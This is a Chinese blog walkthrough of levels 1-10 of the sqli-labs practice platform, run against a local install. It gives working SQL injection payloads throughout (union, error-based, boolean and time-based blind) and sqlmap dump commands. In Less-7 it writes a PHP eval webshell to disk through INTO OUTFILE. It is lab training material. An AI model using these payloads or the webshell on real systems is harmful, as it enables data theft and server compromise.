sqli-labs-通关writeup 1-10

Less 1-10

Less-1 基于错误的GET单引号字符型注入


  • 0x01 手动union联合查询注入
    输入单引号,页面报错,输入两个单引号,回显正常 ,说明存在字符型sql输入
http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  

5c1fca037e4ee29f1a35bc4e952400f0.png

根据报错信息,可以确定传入参数被存到一对单引号之间
猜想sql语句大概这样:
select * from user where id='1'
闭合方法: 通过单引号闭合前面的单引号 然后注释掉后面的内容

  • sql中的几种注释

    1. # / %23(url编码)
    2. –空格 / --+
    3. /* … */
  • 开工

  1. 通过order by查询字段数

    payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3--+
    字段数先取4,报错(说第4列未知)
    376188e291a243816d79d46761c25b78.png 字段数取3后页正常显示

  2. 测试回显位置

    payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+
    要执行union后的语句就要让union前的查询语句不正确,取id=-1或0(只要不存在就ok)
    通过回显可位可知, 2,3字段位置有回显

  3. 爆数据库名
    先介绍几个重要函数:
    database() # 当前数据库
    user() #当前用户
    version() #数据库版本信息

    payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3--+
    696b48641911453cc8d872f64e6a9ec3.png

    由回显信息可知, 数据库名为 “security”

  4. 爆表名

    payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security'--+
    37dbe05b1f54d98d1bf3ac3f695db828.png

    发现只能显示一个表名, 查看源码发现后台 使用 limit 限制回显行数
    可以通过通过group_concat()函数显示多个字段

    group_concat() #把一个字段的所有行的结果连在一起返回
    a1b9075b9af9540b5f83d4dccd102933.png

  5. 爆字段名

    payload:http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
    937a93b6b58e01c6ac16187d4a79e531.png

  6. 爆内容

    payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users--+
    423457d58a014c931208225a4244cd91.png > concat_ws函数,用指定字符 [拼接] 指定内容
    0x3a 表示十六进制的 : (冒号)

  • 0x02 手动报错型注入

    payload:
    payload1: ?id=1' and 1=1
    7f1a6a036a1143caaf3213f2d46e177a.pngpayload2: ?id=1' and 1=2
    be72ef63246406cd5ec58196025f6a83.png 证明存在报错注入

几种重要的报错注入函数:
>
> updatexml() #MYSQL对XML文档数据进行查询和修改的XPATH函数.
> extractvalue() #MYSQL对XML文档数据进行查询的XPATH函数.
> floor() # MYSQL中用来取整的函数
> concat 把传进去的两个参数组合成一个完整的参数再打印出 0x7e为 ~ 的16进制(避免报错内容不被吃掉(也可用其他符号的16进制))

开始注入:

  1. 爆库名

    payload: ?id=1' and updatexml(1,concat(0x7e,database()),0)--+
    df1ccea5d4bdc42030adebe0c51b4302.png 由图可知, 数据库名与报错信息一起被回显到页面

  2. 爆表名

    payload: ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0)--+
    a8f8ee01bf689d443aaa3ab5aaadb416.png

    报错提示Subquery returns more than 1 row
    原因是报错只能依次显示一行, 我们可以使用limit限制回显行数
    payload: ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0)--+
    e38ba29bfa94c271525effee2dab5755.png

    通过改变limit a,1 中a的值, 依次爆出security中的表为:
    emails, referers, uagents, users

  3. 爆字段名

    payload: ?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)),0)--+
    1b65a585c02b0634762de91afe874733.png

    具体操作同上, 依次爆出字段名为:
    id, username, password

  4. 爆内容

    payload: ?id=1' and updatexml(1,concat(0x7e,(select concat_ws(0x3a,id,username,password) from security.users limit 0,1)),0)--+
    a60c9c126fb82c86aab6cf90d85139f1.png

0x03 通过工具sqlmap自动注入(至少Less-1~Less-10可用该方法测试)

  1. 自动扫描漏洞

    payload: python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1
    866e2dd210f204568c3ceb7296fad2be.png

  2. 爆数据库名

    payload: python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 --dbs
    88aebca0e22b5ad28a471ae03d743868.png

  3. 爆库security中的表名

    payload: python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security --tables
    68087d05751b9b1b105cc9bca6ad0b59.png

  4. 爆表users中的字段名

    payload: python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users --columns
    83d3ed9f3698286cdc35c4b122bb1128.png

  5. 爆内容

    payload: python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-1/?id=1 -D security -T users -C id,username,password --dump
    1fbff551c5ef5dc9fa1636a159c6d14a.png

    Game Over~~

后面内容每道题仅介绍一种方式进行注入测试


Less-2 基于错误的GET整型注入

类似于Less-1,甚至还比Less-1要简单----->>>话不多说,直接开干

先丢个单引号试试水,发现直接报错
http://127.0.0.1/sqli-labs-master/Less-2/?id=1'
c64639a27c09fc377b4b3caeac20a63a.png

报错内容:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

由单引号中内容可猜想sql语句:(整型注入)
select * from users where id=1;
或者也可以通过布尔值报错的方式判断是否为整型注入
先用and 1=1 试试, and表示并列,只有当and两边均为true时才为真
http://127.0.0.1/sqli-labs-master/Less-2/?id=1 and 1=1--+
932d4110a0012e9944f9c3d02584b73c.png

发现正常回显, 再用and 1=2 试试
64b53eec12147f7eab73b6f5ac34024f.png

发现无回显, 说明 and 后面的内容参与后台数据库逻辑运算, 可判断此处存在注入, 而且是整型注入

  1. 用order by 爆字段数

payload: http://127.0.0.1/sqli-labs-master/Less-2/?id=1 order by 3 --+

  1. 爆数据库名

payload: http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,database(),3--+
也可以以用
http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata--+
爆所有数据库
a2ff7113556243987dbf535d043e0232.png

  1. 爆表名(换个库玩玩,爆一下day1中的表)

payload: http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='day1--+
384183fbda4fc0974b2423a51e3a25bc.png

  1. 爆字段名(flag表中的字段)

payload: http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'--+
6aaf80ba473e46fda03a21d99d9e6343.png
发现只有一个字段, 字段名也为flag

  1. 爆内容

payload: http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,flag,3 from day1.flag--+
639993b1c732d9cb080e613c44fa7ff8.png

成功爆出flag, Game Over
如果想要爆数据库security, 操作与Less-1类似…
Game Over~~


Less-3 基于错误的GET单引号变形字符型注入

输入单引号,报错
cf47889423b7b0facf1b543f26c2a522.png

根据报错信息单引号中的内容可猜测SQL语句为:
select * from 表名 where id=( ‘1’ ) …
用布尔报错证明:

payload: ?id=1' and 1=1--+
a8736beaf2a9ffbf955219ea4913d22d.png
还是报错,加有括号( ) )试试
payload: ?id=1') and 1=1--+
9143f12bd0a3dbea73f85d0f5c9d2392.png
发现加括号后回显正常,证明猜想正确
也可以看看源码:(推荐做完题看源码, 了解php传参语句, 过滤语句)
228c5c6b45efd478ba14ae405ef1bb8a.png
源码显示结果也与猜想一致

然后就依次:

  • 爆库
  • 爆表
  • 爆字段
  • 爆内容

具体操作步骤同上面Less-1和Less-2


Less-4 基于错误的GET双引号字符型注入

与Less-3几乎一样, 将payload中的单引号换做双引号就OK


Less-5 双注入GET单引号字符型注入

输入单引号,报错,输入两个单引号,正常回显,可判断此处存在注入
通过布尔进行验证猜想
payload1: ?id=1' and 1=1

payload2: ?id=1' and 1=2

发现and后面为真时, 有回显 , 为假时无回显

  • 为真时:
    231a6b672c5c7674c9db03ec9c778ffb.png
  • 为假时:
    7eb10475f244babc1b7997ac93f5e0d0.png

不管如何深入测试,页面只显示"You are in…",以为是盲注, 查看源码后才的知, 参数进去执行后的数据结果根本没打印,只要正确执行就打印"You are in…"
6885541a946fc4e22ceed657242727e5.png
立马…还是没想到(原来是传说中的双注入)
双注入(双查询): 其实就是一个select语句中再嵌套一个select语句

极端的问题需要极端的手段来解决, 既然无法正确显示, 那就逆着来呗, 给它整一个错误回显, 把想要的内容同报错信息一起显示出来(所谓的报错注入…)

  • 想法有了,实际操作呢?
    别慌…先来了解常用几个报错函数:

updatexml() #MYSQL对XML文档数据进行查询和修改的XPATH函数.
extractvalue() #MYSQL对XML文档数据进行查询的XPATH函数.
floor() # MYSQL中用来取整的函数

payload: ?id=1' and updatexml(1,concat(0x7e,database()),0)--+
其中concat: 把传进去的两个参数组合成一个完整的参数再打印出 0x7e为 ~ 的16进制(避免报错内容不被吃掉(也可用其他符号的16进制))

619827c2ce7134c99eb0515c1d073401.png

可以看出数据库信息和报错信息一起被回显 到页面

现在按注入顺序进行注入:

  1. 爆库名

payload: ?id=1' and updatexml(1,concat(0x7e,database()),0)--+

  1. 报表名

payload: ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0)--+
e481a4f8026939c2046048d4c4483775.png
由于报错只能一次显式一行, 所以我们使用limit 逐次进行表名获取(也可以使用 group_concat(table_name)全部打印)
payload: ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),0)--+
5739f3f49a192e9b6d7239a0e99669c3.png
爆出数据库’security’ 中的第一个表 ‘email’
接着爆后面的表,将limit 0,1 依次换成limit 1,1\ limit 2,1…
7f8c95ba46199547ddc104501346400c.png
12f084069fe6e0c7bd893f060281a505.png
aafb93a7aab5848fadcb9cfa316fc1ba.png
依次爆出 第二个表为 ‘referers’ ,第三个表为’uagents’ , 第四个表为 ‘users’
当开始爆下一个表的时候:
9830cc7dc7529b65cd2982ed02d9b881.png
无回显, 说明当前数据库只有四个表

  1. 爆表users中字段名

payload: ?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)--+
操作同2, 依次爆出表users中的字段为’id, username, password’ 三个字段

  1. 爆字段username和password中的内容

payload: ?id=1' and updatexml(1,concat(0x7e,(select concat_ws(0x3a,username,password) from security.users limit 0,1)),0)--+
33b43febf80f09cda6292c314c10b131.png
其他内容也是通过改变limit的值依次获取
Game Over~~


Less-6 双注入GET双引号字符型注入

操作流程同Less-5一模一样, 只需要将payload中的单引号换做双引号就OK, 此处不再赘述


Less-7 导出文件GET字符型注入

into outfile: 写入文件操作

前提:
1. 文件名必须是全路径(绝对路径)
2. 用户必须有写文件的权限
3. 没有对单引号’过滤

路径里面两个反斜杠\可以换成一个正斜杠/PHP 语句没有单引号的话,必须转换成十六进制要是想省略单引号'的话,必须转换成十六进制

常用一句话格式:

<?php eval(\$_POST["admin"]); ?>
<?php eval(\$_GET["admin"]); ?>
<?php @eval(\$_POST["admin"]); ?>
<?php phpinfo(); ?>
<?php eval($_POST["admin"]); ?>
有时候得写成
<?php eval(\\\$_POST["admin"]); ?>

payload:?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "C:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs-master\\demo.php"--+
PS: <?php @eval($_POST["cmd"]);?>为一句话木马,这里不再赘述.
aef8aa7bf5b7e7b89aef0f9ca2ecd16a.png
虽然回显报错,但是查看本地文件已经写入了demo.php
b582aa65aa9af20056d04ff7bfb18d98.png
接下来,上蚁剑(先在本地浏览器访问一下(即运行)上传的文件,否则不然连不上)
129c82cf80f6d719494deeebf3792cfa.png
adbafna234fgf719494deeebf3792cfa.png
24817486e6b08f1034a7d6fd194b7475.png
在这里插入图片描述
连接成功,然后便可以反键进入终端shell操作, 此处不再赘述.
PS: 需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。


Less-8 布尔型单引号GET盲注

题目名字暴露一切.布尔值无非为真和为假
先介绍几基于盲注的函数:

length: 用来计算数据库表名长度
concat(): 没有分隔符的连接字符串
concat_ws(): 含有分隔符地连接字符串
group_concat(): 连接一个组的所有字符串,并以逗号分隔每一条数据
substr(): 截取支付串
mid(): 截取字符串
ascii(): 返回字符串的数值(ASCII返回值是0-255)
ord(): 返回字符串数值

  1. 简单测试
    布尔真时:

payload: ?id=1' and 1=1--+
6376170d3ba33250f0d759dbad87e39d.png
回显 You are in…
布尔假时:
payload: ?id=1' and 1=2--+
73a1d380f295876ef1fe557930979a08.png
回显为空

  1. 通过order by测试字段数

payload: ?id=1' order by 3--+

  1. 构造payload,测试数据库名长度

payload: ?id=1' and length(database())=8--+

同理表名段名

  1. 爆库名

payload: ?id=1' and mid(database(),1,1)='s'--+
回显正常即字符匹配成功
045947d9e2adb48e2c7cbf8aa436dfbc.png
即数据库第一个字符为’s’, 接下来测第二个字符
payload: ?id=1' and mid(database(),2,1)='e'--+
即依次将mid()函数第二个参数1,2,3…8
所得字符依次为 security, 即数据库名为security

上述方法查询比较费时费力, 可以使用ascii函数直接查询字符对应的数值

payload: ?id=1' and ascii(mid(database(),1,1))>100--+
6b50cf801c89ffdc97c6343517240b1c.png
布尔值为真时回都显为You are in…
可以通过使用二分法,减少查询时间
2a5c06f7c032d6bdf99db3ee1829b4ae.png
c3de357635e9761fd78cfac793396a11.png
d25e5a24f678d0d4722c2007a86a00a2.png
7674afc406390c2427bbe3bcac18ec9e.png
可知第一个字符的ASCII大于114,但不大于115,即该字符的ASCII值为115,对应的字符为s
后面字符测试与上述一致,只需改变mid()函数第二个参数即可(其中mid()函数也可用substr()函数代替)
依次可得库名所含字符的ascii值为115, 101, 99, 117, 114, 105, 116, 121, 所对应的字符依次为security

  1. 爆表名

payload: ?id=1' and ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=101--+
测试方法与上述一致, 只需将limit 0,1中0依次改变为1,2,3…即可查询第一,二,三…个表名
依次测得表名为emails, referers, uagents, users

  1. 爆列名

payload: ?id=1' and ascii(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>104--+
依次可得列名为: id, username, password

  1. 查数据(以第一行数据为例)

payload: ?id=1' and ascii(mid((select password from security.users limit 0,1),1,1))=68--+
依次可得第一行数据的password为Dumb, password为Dumb
其他数据可自行尝试.
Game Over~~


Less-9 基于时间的GET单引号盲注

由题目可知,本关为盲注
先安利一个函数:
if(condition,a,b): 当condition为true的时候,返回a,当condition为false的时候,返回b
这里因为我们利用的是时间的延迟,贴图就没有意义了,这里只写 payload 了:(正确的时
候直接返回,不正确的时候等待 5 秒钟,只贴正确的)

  1. 测试数据库长度

payload: ?id=1' and if(length(database())=8,sleep(5),1)--+
即长度为8时会等待5秒

  1. 爆数据库

payload: ?id=1' and if(ascii(mid(database(),1,1))=115,sleep(5),1)--+
ASCII值为115,说明第一位字符为 s

payload: ?id=1' and if(ascii(mid(database(),2,1))=101,sleep(5),1)--+
ASCII值为101,说明第二位字符为 e


以此类推,可得数据库名为 security

  1. 爆表名

payload: ?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1)--+
ASCII值为101, 说明第一个表的第一位字符为 e

以此类推可得第一个表的名称为 emails

payload: ?id=1' and if(ascii(mid((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,sleep(5),1)--+
ASCII值为114, 说明第一个表的第一位字符为 r

以此类推可得第一个表的名称为 referers


再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users
4. 爆users表的列名

payload: ?id=1' and if(ascii(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+
ASCII值为105, 说明第一个表的第一位字符为 i

以此类推, 可得users表的所有列名为 id, username, password

以上便是基于时间的盲注的所有内容
如果想测试内容的可自行测试, 方法同上
Game Over~~


Less-10 基于时间的双引号盲注

从标题就可以看到 《基于时间-双引号》,所以很明显的这关要我们利用延时注入
进行,同时 id 参数进行的是 “ 的处理。和 less9 的区别就在于单引号(‘)变成了(“),我
们这里给出一个 payload 示例,其他的请参考 less-9
爆数据库

payload: ?id=1" and if(ascii(mid(database(),1,1))=115,sleep(5),1)--+
其余的请参考Less-9

Game Over~~

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
很高兴能回答您的问题!要通过 sqli-labs-master,您需要了解 SQL 注入的基本原理和技巧。sqli-labs-master是一个用于学习和练习 SQL 注入的实验平台。 下面是一些通关的步骤和提示: 1. 下载和安装:首先,您需要下载 sqli-labs-master 实验平台并将其部署在本地服务器上。您可以在 GitHub 上找到该项目并按照说明进行安装。 2. 学习 SQL 注入:在开始实验之前,建议您先学习 SQL 注入的基本概念和技术。了解常见的注入漏洞类型、常用的注入语句和防御措施等。 3. 测试注入点:打开实验平台,并选择感兴趣的注入漏洞。每个漏洞都有其相应的难度级别,您可以根据自己的水平选择合适的挑战。 4. 构造注入语句:通过输入恶意的输入数据构造注入语句,尝试绕过应用程序对输入数据的验证和过滤。您可以使用常见的注入技巧,如单引号终结、UNION 查询、布尔盲注等。 5. 获取敏感信息:通过成功的注入攻击,您可以尝试获取应用程序中存储的敏感信息,如数据库中的用户名、密码等。 6. 利用漏洞:一旦成功注入并获取了敏感信息,您可以尝试进一步利用漏洞,如提权、远程命令执行等。 请注意,在进行任何实验之前,请确保您已经获得了合法的授权,并且只在受保护的环境中进行。不要尝试攻击未经授权的系统,这是非法行为且严重违法。 祝您顺利通关 sqli-labs-master!如有其他问题,请随时提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值